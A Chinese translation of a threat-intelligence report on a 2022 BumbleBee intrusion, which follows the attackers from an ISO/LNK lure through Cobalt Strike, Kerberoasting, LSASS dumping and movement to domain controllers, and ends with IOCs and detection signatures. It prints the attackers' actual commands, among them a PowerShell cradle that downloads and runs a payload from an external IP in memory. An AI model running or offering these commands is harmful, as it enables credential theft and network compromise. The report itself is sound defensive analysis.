在 2022 年 4 月的这次入侵中,威胁行为者使用BumbleBee作为初始访问向量。
BumbleBee 是一种恶意软件加载程序,由 Google 威胁分析小组于 2022 年 3 月首次报告。Google TAG 将该恶意软件归因于名为 EXOTIC LILY 的初始访问代理 (IAB),该代理与网络犯罪组织 FIN12/WIZARD SPIDER/DEV-0193 合作。
在此入侵期间,威胁行为者使用 ISO 和 LNK 文件获得访问权限,使用多种横向移动技术,以三种不同方式转储凭据,kerberoast 域管理员帐户并删除/执行定制工具以发现权限升级路径。
案例总结
在此入侵中,威胁行为者在一个环境中运行了 11 天的驻留期。入侵始于一个受密码保护的压缩 ISO 文件,由于其他报告,我们对该文件进行了中等到高度的评估,可能是通过一封电子邮件到达的,其中包含下载该 zip 文件的链接。
执行阶段从受密码保护的 zip 开始,解压后会向用户显示一个ISO文件,用户双击后会像Windows上的 CD 或外部媒体设备一样挂载该文件,并在目录中向用户显示一个名为documents的文件.
当用户双击或打开 lnk 文件时,他们会无意中启动一个隐藏文件,一个包含Bumblebee恶意软件加载程序的 DLL (namr.dll)。从那里,加载器可以连接到 Bumblebee C2 服务器。起初,一切都相当安静,只有 C2 通信;直到大约 3 小时后,Bumblebee 在入口机主机上投放了一个名为 wab.exe 的 Cobalt Strike 信标。这个 Cobalt Strike 信标随后被执行,然后继续注入主机上的各种其他进程(explorer.exe、rundll32.exe)。从这些注入的进程中,威胁参与者开始使用 Windows 实用程序(如 ping 和任务列表)发现任务。
初始访问四小时后,威胁行为者使用 RDP 使用本地管理员帐户访问服务器。然后威胁参与者部署了 AnyDesk,这是在入侵期间唯一观察到的持久性机制。然后,威胁参与者使用Adfind启动了 Active Directory 发现。
在这次活动之后,威胁者沉默了。然后,第二天,他们通过 RDP 访问服务器并部署了一个定制工具 VulnRecon,该工具旨在识别 Windows 主机上的本地权限升级路径。
威胁行为者的下一次检查发生在第 4 天,威胁行为者再次运行 VulnRecon,但来自入口机主机而不是服务器。AdFind 也再次被使用。接下来,攻击者通过 SMB 将Sysinternals 工具 Procdump传输到环境中多个主机上的 ProgramData 文件夹。然后,他们使用远程服务执行 Procdump,后者用于转储 LSASS。在这一点上,攻击者似乎正在寻找比他们目前拥有的更多的访问权限。虽然他们能够横向移动到工作站和至少一台服务器,但他们似乎还没有控制为他们提供所需访问权限的帐户,可能是域管理员或类似的高特权帐户。
在那次活动之后,威胁者就消失了,直到第 7 天,那时他们通过 Anydesk 访问了服务器。同样,他们执行了 VulnRecon,然后还执行了Seatbelt,这是一个用于执行各种基于主机的发现的红队工具。
在入侵的最后一天,即威胁行为者首次进入后的第 11 天,他们似乎正准备针对最终目标采取行动。威胁行为者使用 PowerShell 在入口机主机的内存中下载并执行新的 Cobalt Strike PowerShell 信标。在注入各种进程后,威胁参与者执行了 PowerShell 模块 Invoke-Kerberoast。接下来,他们使用另一种技术将 LSASS 转储到入口机主机上,这次使用内置的 Windows 工具 comsvcs.dll。AdFind 在网络中运行了 3rd 次,然后丢弃并运行了两个批处理脚本。这些批处理脚本的目的是识别环境中的所有在线服务器和工作站,通常是通过为该部署创建目标列表来部署勒索软件的前兆。
脚本运行后,一个新的 Cobalt Strike 可执行信标在入口机阵地运行。接下来,威胁参与者使用服务帐户在域控制器上远程执行 Cobalt Strike 信标。该服务帐户的密码较弱,很可能在入侵早期被 kerberoast 后离线破解。
然后,在采取任何最终行动之前,威胁行为者被驱逐出环境。我们根据最后一天的访问级别和发现活动进行评估,可能的最终行动是在域范围内部署勒索。
服务
我们提供多种服务,包括 跟踪命令和控制框架(例如 Cobalt Strike、BumbleBee、Covenant、Metasploit、Empire、PoshC2 等)的 Threat Feed 服务。
在我们的安全研究员和组织服务下,我们还提供了此案例中可用的工件和 IOC,例如 pcaps、内存捕获、文件、事件日志(包括 Sysmon、Kape 包等) 。
时间线
初始访问
在 ISO 中成功执行 lnk 文件后,威胁参与者设法访问入口机主机,这些文件通常通过电子邮件活动分发。
名为BC_invoice_Report_CORP_46.iso的初始 payload是一个 ISO 映像,一旦安装,它会诱使用户打开document.lnk文件,该文件将使用以下命令行执行恶意 DLL 加载程序:
C:WindowsSystem32cmd.exe /c start rundll32 namr.dll,IternalJob
运行Eric Zimmerman 的工具LECmd 揭示了与威胁参与者相关的更多细节。元数据包括 TA 机器的主机名、MAC 地址和 LNK 文档创建日期:
执行
执行多个有效载荷
BumbleBee有效负载 ( namr.dll )的成功执行导致使用多种技术丢弃和执行多个有效负载。下图显示了 BumbleBee 投放的所有有效载荷、它们的执行方式以及它们注入的不同进程:
Sysmon File Created 事件显示由 rundll32.exe 创建的 wab.exe
Sysmon 事件代码 1 显示 WMI 执行的 wab.exe
Cobalt Strike 的执行
以下 PowerShell 单行程序是在第 11 天从wab.exe执行的,它下载了经过混淆处理的 PowerShell 并在内存中执行:
C:Windowssystem32cmd.exe /C powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://104.243.33.50:80/a') )"
由于下载是通过未加密的 HTTP 通道进行的,因此网络流量一目了然。
可以使用以下CyberChef方法对该有效载荷进行去混淆处理:
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
From_Base64('A-Za-z0-9+/=',true)
Gunzip()
Label('Decode_Shellcode')
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
Conditional_Jump('',false,'',10)
From_Base64('A-Za-z0-9+/=',true)
XOR({'option':'Decimal','string':'35'},'Standard',false)
反混淆后,我们可以发现MZRE标头,它是 Cobalt Strike 默认配置的一部分:
从该 Shellcode 中提取有价值信息的最简单方法之一是使用 Didier Stevens 1768.py 工具:
命令和控制服务器托管在 (108.62.12[.]174/dofixifa[.]co) 上。命令和控制部分提供了完整的配置提取,详细说明了 Malleable C2 配置文件
权限维持
AnyDesk 及其作为服务的安装用于持久存在并创建网络后门。
特权升级
获取SYSTEM权限
威胁参与者通过在错误的控制台(shell 控制台而不是信标控制台)中启动 getsystem 命令而犯了一个错误。该命令的父进程是 C:Windowssystem32svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc ,Cobalt Strike 被注入的进程:
C:Windowssystem32cmd.exe /C getsystem
该命令是内置的 Cobalt Strike 命令,用于获取 SYSTEM 权限。官方 Cobalt Strike博客中记录了此功能的详细描述。
有效账户
威胁行为者获取并滥用特权域帐户的凭据作为在域上获得特权升级的手段。他们还利用本地管理员帐户。
具有域管理员权限的服务帐户用于在域控制器上创建远程服务以横向移动。
防御闪避
进程注入
多次使用进程注入技术来注入不同的进程。几乎每个后渗透都是从注入进程启动的。
执行后,wab.exe进程立即创建了两个远程线程,以便将代码注入explorer.exe和rundll32.exe:
威胁参与者还在svchost.exe中创建了一个远程线程:
然后产生了多个进程:
C:Windowssystem32svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
执行各种技术(枚举、凭证转储等):
Yara 使用Malpedia Cobalt Strike 规则对进程内存进行扫描,揭示了跨主机的各种注入。
进程号 |
进程名称 |
命令行 |
6832 |
explorer.exe |
C:Windowsexplorer.exe |
7476 |
svchost.exe |
C:Windowssystem32svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc |
8088 |
wab.exe |
C:UsersUSERAppDataLocalwab.exe |
34296 |
rundll32.exe |
C:Windowssystem32rundll32.exe |
19284 |
powershell.exe |
“c:windowssyswow64windowspowershellv1.0powershell.exe” -Version 5.1 -s -NoLogo -NoProfile |
7316 |
svchost.exe |
C:Windowssystem32svchost.exe -k UnistackSvcGroup |
7288 |
svchost.exe |
C:Windowssystem32svchost.exe -k UnistackSvcGroup -s WpnUserService |
20400 |
rundll32.exe |
C:WindowsSystem32rundll32.exe |
主机上的指标删除:文件删除
我们观察到威胁行为者从主机上删除了他们的工具(Procdump、网络扫描脚本等)。
下表显示了在转储 LSASS 进程后从所有目标工作站的 ProgramData 文件夹中删除 ProcDump 的示例:
凭据访问
LSASS 转储
MiniDump
威胁参与者通过信标使用comsvcs.dll MiniDump技术从入口机阵地转储 LSASS 进程C:Windowssystem32svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc:
cmd.exe /C rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump 968 C:ProgramDataREDACTEDlsass.dmp full
procdump
威胁者还在多个工作站远程投放procdump.exe和procdump64.exe ,转储 LSASS,并将它们从 ProgramData 文件夹中删除:
ProcDump实用程序使用以下命令行在这些工作站上执行:
C:programdataprocdump64.exe -accepteula -ma lsass.exe C:ProgramDatalsass.dmp
Kerberoasting
Invoke-Kerberoast命令是通过svchost.exe从入口机执行的,威胁参与者在该进程中注入:
以下是 PowerShell EventID 800 的摘录,显示了威胁参与者使用的不同Invoke-Kerberoast选项,包括HashCat输出格式:
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:36177/'); Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath C:ProgramDataREDACTEDps.txt -append -force -Encoding UTF8
Invoke-Kerberoast执行后,DC 日志显示从入口机主机请求了多个 Kerberos 服务票证,票证加密类型设置为0x17 (RC4),票证选项设置为 0x40810000,用于服务帐户。
大约 3 小时后,其中一个服务帐户从入口机登录到其中一个域控制器。
我们非常有信心地评估服务帐户密码很弱并且被威胁者离线破解。
发现
侦察
系统信息和软件发现
以下命令由wab.exe信标启动:
whoami
ipconfig /all
tasklist
systeminfo
wmic product get name,version
wmic /node:
net view \
dir \
使用相同的信标wab.exe,tasklist 也被用来远程枚举多台主机上的进程:
tasklist /v /s
管理员组和域发现
正如我们已经在多个案例中观察到的那样,威胁参与者主要使用 net 命令枚举本地管理员组和域特权(企业和 DA)管理员组:
net use
net group "Domain computers" /dom
net group "Enterprise admins" /domain
net group "domain admins" /domain
net localgroup administrators
nltest /dclist:
nltest /domain_trusts
ping -n 1
操作错误
威胁参与者通过在错误的控制台中执行命令而未能完成部分任务:
C:WindowsSystem32rundll32.exe
➝ C:Windowssystem32cmd.exe /C shell whoami /all
我们可以高度自信地断言,侦察阶段并非完全自动化,威胁参与者手动执行命令并在其中一个命令中犯了错误。
AdFind
为了枚举 Active Directory,威胁参与者在三个不同的场合从入口机主机执行AdFind :
执行源,即发起父进程,每次都不同,AdFind二进制文件的名称和结果文件也有一次不同,这可能表明有多个威胁参与者正在访问网络。
网络扫描
威胁参与者使用名为s.bat(用于服务器)和w.bat(用于工作站)的两个脚本来ping主机并将结果存储在两个日志文件中:
s.bat脚本:
@echo off
for /f %%i in (servers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> serv.log
w.bat脚本:
@echo off
for /f %%i in (workers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> work.log
这两个脚本都是从 PowerShell Cobalt Strike 信标 ( powershell.exe ) 执行的。
调用ShareFinder
Invoke-ShareFinder 是一个 PowerShell 模块,它是PowerView的一部分。
Invoke-ShareFinder – 在本地域中的主机上查找(非标准)共享
威胁参与者使用 Invoke-ShareFinder 执行共享枚举。
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:39303/%27);
Invoke-ShareFinder -CheckShareAccess -Verbose | Tee-Object ShareFinder.txt
因为rundll32.exe执行了 PowerShell,我们可以看到rundll32.exe在C:ProgramData中创建了ShareFinder.txt输出文件。
Seatbelt
服务器上的威胁参与者使用SeatBelt工具来发现潜在的安全配置错误。
Seatbelt 是一个 C# 项目,它从攻击性和防御性安全角度执行大量面向安全的主机调查“安全检查”。
威胁行为者通过指定标志执行全面侦察-group=all:
Seatbelt.exe -group=all -outputfile="C:ProgramDataseatinfo.txt"
漏洞侦察
威胁参与者在两台主机上放置了两个名为vulnrecon.dll和vulnrecon.exe 的二进制文件。这是我们第一次观察到这个工具。该库似乎是一种自定义工具,旨在帮助威胁参与者使用 Windows 本地权限升级枚举。
vulnrecon.dll PDB: D:a_work1sartifactsobjwin-x64.ReleasecorehostcliapphoststandaloneReleaseapphost.pdb
vulnrecon.exe PDB: D:workrtVulnReconVulnReconobjReleasenet5.0VulnRecon.pdb
下表总结了该工具的功能:
选项/命令 |
详细信息(来自代码) |
‘v’ or “Vulnerability” |
“Search for available vulnerabilities for using LPE tools”“扫描操作系统漏洞并显示 LPE 工具列表” |
‘m’ or “MicrosoftUpdates” |
“List of all installed microsoft updates””显示已安装的 Microsoft 更新列表” |
‘h’ or “HotFixes” |
“List of installed hot fixes””显示已安装的hot fixes列表” |
‘s’ or “SupportedCve” |
“LPE 实施工具列表”“显示 LPE 实施 CVE 列表” |
‘i’ or “SystemInfo” |
“显示有关当前 Windows 版本的信息” |
以下是通过已安装的 KB 映射支持(或实施)的所有 CVE 枚举的列表:
威胁行为者多次在具有低级别权限的被控机 0 上执行此工具,并在具有管理员权限的服务器上再次执行此工具。以下是对手运行的所有命令行:
横向运动
横向工具转移
使用 Cobalt Strike 信标,攻击者将AnyDesk (1).exe文件从入口机阵地传输到服务器:
威胁参与者还将ProcDump从入口机阵地转移到多个工作站:
远程服务
远程桌面协议
威胁行为者使用explorer.exe启动与服务器的代理 RDP 连接:
威胁参与者使用具有管理员帐户的RDP执行从入口机阵地到服务器的第一次横向移动:
第一次横向移动是为了放下和安装AnyDesk。
SMB/Windows 管理员共享
RPC 远程服务
多个 RPC 连接是从rundll32.exe进程启动的,wab.exe先前注入到:
这些 RPC 连接针对多个主机,包括工作站、服务器和 DC。
正如我们在目标服务器上看到的那样,恶意软件使用win32 函数CreateServiceA在服务器上通过 RPC 创建远程服务。
Cobalt Strike 内置 PsExec
威胁行为者使用内置的 Cobalt Strikejump psexec命令横向移动。每次使用此功能时,都会创建一个远程服务,其中包含随机字母数字字符、服务名称和服务文件名,例如“<7-alphanumeric-characters>.exe”。
下面是在域控制器上创建的服务edc603a 的示例:
用于执行此横向移动的帐户是 kerberoasted 服务帐户之一。
该服务运行一个不带任何参数的rundll32.exe进程。这个过程正在向 (108.62.12[.]174/dofixifa[.]co) 发出信号,这是在这次入侵的最后一天使用的第二个 Cobalt Strike C2。
我们观察到此信标执行各种技术(通过 CreateRemoteThread、默认命名管道等在 svchost 进程中进行进程注入)
命令与控制
下图显示了通过丢弃的有效负载或威胁参与者注入的进程与恶意 IP 地址的所有通信:
BumbleBee
142.91.3[.]109
45.140.146[.]30
所有活跃的 Bumblebee 命令和控制在 TLS 设置方面共享一个通用的服务器配置。
JA3: c424870876f1f2ef0dd36e7e569de906
JA3s: 61be9ce3d068c08ff99a857f62352f9d
Certificate: [76:28:77:ff:fe:26:5c:e5:c6:7a:65:01:09:63:44:6d:57:b7:45:f2 ]
Not Before: 2022/04/12 06:33:52 UTC
Not After: 2023/04/12 06:33:52 UTC
Issuer Org: Internet Widgits Pty Ltd
Subject Org: Internet Widgits Pty Ltd
Public Algorithm: rsaEncryption
Cobalt Strike
Cobalt Strike (CS) 在这次入侵中被广泛使用,威胁参与者使用 CS 作为主要的命令和控制工具,投放了多个有效载荷,并注入到不同主机上的多个进程中。
C2 服务器
此次入侵期间使用了两台 CS C2 服务器。下图显示了随时间变化的信标活动,我们可以注意到第一个 C2 服务器 (45.153.243[.]142/fuvataren[.]com) 从第一天开始和第二个 C2 服务器 (108.62.12[.] 174/dofixifa[.]co) 仅在入侵的最后一天(第 11 天):
主信标wab.exe:
45.153.243[.]142
fuvataren[.]com
JA3: a0e9f5d64349fb13191bc781f81f42e1
JA3s: ae4edc6faf64d08308082ad26be60767
Certificate: [6c:54:cc:ce:ca:da:8b:d3:12:98:13:d5:85:52:81:8a:9d:74:4f:fb ]
Not Before: 2022/04/15 00:00:00 UTC
Not After: 2023/04/15 23:59:59 UTC
Issuer Org: Sectigo Limited
Subject Common: fuvataren.com [fuvataren.com ,www.fuvataren.com ]
Public Algorithm: rsaEncryption
下面是从沙箱分析结果中导出的这个 C2 的 Cobalt Strike 配置:
access_type: 512
beacon_type: 2048
host: fuvataren.com,/rs.js
http_header1: AAAAEAAAABBIb3N0OiBhbWF6b24uY29tAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAASQWNjZXB0OiBpbWFnZS9qcGVnAAAABwAAAAAAAAALAAAAAwAAAAIAAAAFSFNJRD0AAAAGAAAABkNvb2tpZQAAAAkAAAAJcmVhZD10cnVlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_header2: AAAAEAAAABBIb3N0OiBhbWF6b24uY29tAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAAVQWNjZXB0LUVuY29kaW5nOiBnemlwAAAACgAAAC9Db250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZAAAAAcAAAABAAAADQAAAAMAAAACAAAAB3ZhbHVlcz0AAAAEAAAABwAAAAAAAAADAAAAAgAAAA5fX3Nlc3Npb25fX2lkPQAAAAYAAAAGQ29va2llAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_method1: GET
http_method2: POST
jitter: 6144
polling_time: 5000
port_number: 443
sc_process32: %windir%syswow64rundll32.exe
sc_process64: %windir%sysnativerundll32.exe
state_machine: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5eYxmuxksHBu5Hqtk11PJye1th52fYvmUXmFrL1vEIQs9+B5NI7a6bHbSHSRN1hRJN2VQ9iwpF/11IFitmWKEbFIErjX1YCy1/1Eg+EawN4l2ReZ9lz1A9wIDUtQb8fAFYRCSn72Gzb+Pax1VKLt4Kx3QJrpduOhx4q4rdvahPQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
unknown1
3.025605888e+09
unknown2
AAAABAAAAAIAAAJYAAAAAwAAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
uri: /en
user_agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202
watermark: 1580103814
PowerShell信标:
108.62.12[.]174
dofixifa[.]co
JA3:a0e9f5d64349fb13191bc781f81f42e1
JA3s:ae4edc6faf64d08308082ad26be60767
Certificate: [ec:57:c5:ca:b1:ca:fb:88:3e:ce:1d:f3:89:0c:91:e3:1d:0a:75:ec ]
Not Before: 2022/03/26 00:00:00 UTC
Not After: 2023/03/26 23:59:59 UTC
Issuer Org: Sectigo Limited
Subject Common: dofixifa.com [dofixifa.com ,www.dofixifa.com ]
Public Algorithm: rsaEncryption
使用1768.py工具提取完整配置:
Config found: xorkey b'.' 0x00000000 0x000031e0
0x0001 payload type 0x0001 0x0002 8 windows-beacon_https-reverse_https
0x0002 port 0x0001 0x0002 443
0x0003 sleeptime 0x0002 0x0004 5000
0x0004 maxgetsize 0x0002 0x0004 2796542
0x0005 jitter 0x0001 0x0002 48
0x0007 publickey 0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100990b95ec8c7c882213d9afae50bc2f45ddf44795ab15a01de1db4356d5514af9f0ff9e4ddb58bb4499bf716be7d04128559449c06e494347bcb06f406a291dbd4df8a783aefd759c9c471ed03476c05dcbb3320413a79c07e45f3a6617354c548b0f076710f7c858070ada7d40627c98513f4a44492c4c30b68b30cea3802c33020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0x0008 server,get-uri 0x0003 0x0100 'dofixifa.com,/ro'
0x0043 DNS_STRATEGY 0x0001 0x0002 0
0x0044 DNS_STRATEGY_ROTATE_SECONDS 0x0002 0x0004 -1
0x0045 DNS_STRATEGY_FAIL_X 0x0002 0x0004 -1
0x0046 DNS_STRATEGY_FAIL_SECONDS 0x0002 0x0004 -1
0x000e SpawnTo 0x0003 0x0010 (NULL ...)
0x001d spawnto_x86 0x0003 0x0040 '%windir%\syswow64\rundll32.exe'
0x001e spawnto_x64 0x0003 0x0040 '%windir%\sysnative\rundll32.exe'
0x001f CryptoScheme 0x0001 0x0002 0
0x001a get-verb 0x0003 0x0010 'GET'
0x001b post-verb 0x0003 0x0010 'POST'
0x001c HttpPostChunk 0x0002 0x0004 0
0x0025 license-id 0x0002 0x0004 0
0x0026 bStageCleanup 0x0001 0x0002 1
0x0027 bCFGCaution 0x0001 0x0002 0
0x0009 useragent 0x0003 0x0100 'Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202'
0x000a post-uri 0x0003 0x0040 '/styles'
0x000b Malleable_C2_Instructions 0x0003 0x0100
Transform Input: [7:Input,4,2:338,3,8]
Remove 338 bytes from begin
BASE64
NETBIOS lowercase
0x000c http_get_header 0x0003 0x0200
Const_host_header Host: gmw.cn
Const_header Connection: close
Build Metadata: [7:Metadata,8,3,2:wordpress_logged_in=,6:Cookie]
NETBIOS lowercase
BASE64
Prepend wordpress_logged_in=
Header Cookie
0x000d http_post_header 0x0003 0x0200
Const_host_header Host: gmw.cn
Const_header Connection: close
Const_header Accept-Encoding: gzip
Const_header Content-Type: text/plain
Build Output: [7:Output,15,3,4]
XOR with 4-byte random key
BASE64
Build SessionId: [7:SessionId,3,2:__session__id=,6:Cookie]
BASE64
Prepend __session__id=
Header Cookie
0x0036 HostHeader 0x0003 0x0080 (NULL ...)
0x0032 UsesCookies 0x0001 0x0002 1
0x0023 proxy_type 0x0001 0x0002 2 IE settings
0x003a TCP_FRAME_HEADER 0x0003 0x0080 'x00x04'
0x0039 SMB_FRAME_HEADER 0x0003 0x0080 'x00x04'
0x0037 EXIT_FUNK 0x0001 0x0002 0
0x0028 killdate 0x0002 0x0004 0
0x0029 textSectionEnd 0x0002 0x0004 155989
0x002a ObfuscateSectionsInfo 0x0003 0x0020 'x00px02x00áx0bx03x00x00x10x03x00 ·x03x00x00Àx03x00x1cÞx03'
0x002b process-inject-start-rwx 0x0001 0x0002 4 PAGE_READWRITE
0x002c process-inject-use-rwx 0x0001 0x0002 32 PAGE_EXECUTE_READ
0x002d process-inject-min_alloc 0x0002 0x0004 12128
0x002e process-inject-transform-x86 0x0003 0x0100 'x00x00x00x05x90x90x90x90x90'
0x002f process-inject-transform-x64 0x0003 0x0100 'x00x00x00x05x90x90x90x90x90'
0x0035 process-inject-stub 0x0003 0x0010 '2ÍAíðx81x0c[_Ix8eßG1Ìm'
0x0033 process-inject-execute 0x0003 0x0080 'x01x03x04'
0x0034 process-inject-allocation-method 0x0001 0x0002 0
0x0000
Guessing Cobalt Strike version: 4.3 (max 0x0046)
默认命名管道
威胁参与者使用默认 CS 配置和默认命名管道。创建命名管道是为了在 CS 进程之间建立通信:
在这种特殊情况下,威胁参与者使用默认的后渗透工作,其模式为postex_[0-9a-f]{4}.
以下是此次入侵期间发现的所有默认命名管道的完整列表:
postex_0dde
postex_3e9b
postex_4008
postex_4429
postex_55f8
postex_8248
postex_8c73
postex_972d
postex_fc2e
AnyDesk
正如之前在横向工具传输部分中提到的,威胁参与者从入口机远程将AnyDesk二进制文件投放到服务器上:
执行AnyDesk安装程序时创建了一项新服务(事件 ID 7045):
AnyDesk日志%ProgramData%AnyDeskad_svc.trace和%AppData%AnyDeskad.trace显示它是在这次入侵的第 1 天和第 7 天使用的,每次都使用本地管理员帐户。如果您有正确的日志(*.anydesk.com 域、 AnyDesk用户代理等),则可以相对容易地发现AnyDesk的使用情况
AnyDesk的使用也触发了两个 ET 签名:
ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software)
ET USER_AGENTS AnyDesk Remote Desktop Software User-Agent
同样,添加检测功能以检测勒索软件操作员常用的未经授权的远程管理工具的使用,这些都是速战速决
AnyDesk 配置文件和网络日志显示,使用的 ID 为159889039,源 IP 为108.177.235.25(LeaseWeb USA – Cloud Provider)。
影响
在此入侵期间没有影响(渗漏、数据加密或破坏)。然而,观察到的 TTP 显示了常见的网络犯罪威胁行为者的交易技巧,如果威胁行为者有足够的时间,这可能会导致域范围的勒索软件。
指标
文件
BC_invoice_Report_CORP_46.zip
5226b7138f4dd1dbb9f6953bd75a320b
6c87ca630c294773ab760d88587667f26e0213a3
c1b8e9d77a6aea4fc7bed4a2a48515aa32a3922859c9091cecf1b5f381a87127
document.lnk
3466ffaf086a29b8132e9e10d7111492
58739dc62eeac7374db9a8c07df7c7c36b550ce5
90f489452b4fe3f15d509732b8df8cc86d4486ece9aa10cbd8ad942f7880075e
namr.dll
f856d7e7d485a2fc5b38faddd8c6ee5c
c68e4d5eaae99d6f0a51eec48ace79a4fede3c09
2d67a6e6e7f95d3649d4740419f596981a149b500503cbc3fcbeb11684e55218
wab.exe
c68437cc9ed6645726119c12fdcb33e7
7a3db4b3359b60786fcbdaf0115191502fcded07
1cf28902be615c721596a249ca85f479984ad85dc4b19a7ba96147e307e06381
af.exe
9b02dd2a1a15e94922be3f85129083ac
2cb6ff75b38a3f24f3b60a2742b6f4d6027f0f2a
b1102ed4bca6dae6f2f498ade2f73f76af527fa803f0e0b46e100d4cf5150682
VulnRecon.exe
5839b4013cf6e25568f13d3fc4120795
d9832b46dd6f249191e9cbcfba2222c1702c499a
eb4cba90938df28f6d8524be639ed7bd572217f550ef753b2f2d39271faddaef
VulnRecon.dll
951d017ba31ecc6990c053225ee8f1e6
a204f20b1c96c5b882949b93eb4ac20d4f9e4fdf
a9e90587c54e68761be468181e56a5ba88bac10968ff7d8c0a1c01537158fbe8
CommandLine.dll
3654f4e4c0858a9388c383b1225b8384
974ffbfae36e9a41ac672f9793ce1bee18f2e670
fa2b74bfc9359efba61ed7625d20f9afc11a7933ebc9653e8e9b1e44be39c455
w.bat
bba3ff461eee305c7408e31e427f57e6
3300c0c05b33691ecc04133885b7fc9513174746
59198ffaf74b0e931a1cafe78e20ebf0b16f3a5a03bb4121230a0c44d7b963d2
s.bat
4b78228c08538208686b0f55353fa3bf
67707f863aa405a9b9a335704808c604845394bf
5eb0b0829b9fe344bff08de80f55a21a26a53df7bd230d777114d3e7b64abd24
网络
BumbleBee
142.91.3[.]109
45.140.146[.]30
Cobalt Strike
45.153.243[.]142
fuvataren[.]com
108.62.12[.]174
dofixifa[.]com
Cobalt Strike 负载托管
104.243.33[.]50
侦测
网络
ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O)
ET POLICY SMB Executable File Transfer
ET RPC DCERPC SVCCTL - Remote Service Control Manager Access
ET POLICY SMB2 NT Create AndX Request For an Executable File
ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software)
ET USER_AGENTS AnyDesk Remote Desktop Software User-Agent
(Snort VRT) MALWARE-OTHER CobaltStrike powershell web delivery attempt
翻译自网络
原文始发于微信公众号(闲聊知识铺):BumbleBee 组织从钓鱼一步步晋升为域管理员完整分析报告